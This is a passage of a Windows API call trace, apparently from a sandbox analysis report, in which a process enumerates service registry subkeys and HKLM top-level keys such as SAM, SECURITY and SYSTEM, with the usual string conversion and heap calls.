dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0220.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0220.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0220.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0220.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0220.824] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0220.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f16e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0220.825] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0220.826] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0220.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f16e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0220.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0220.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0220.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0220.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0220.827] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0220.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0220.827] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0220.827] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0220.827] RegCloseKey (hKey=0x148) returned 0x0 [0220.828] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0220.828] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0220.828] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.828] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0220.828] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.828] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.828] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.829] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.829] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.829] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0220.829] RegCloseKey (hKey=0x80000002) returned 0x0 [0220.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.829] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0220.829] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0220.830] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0220.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 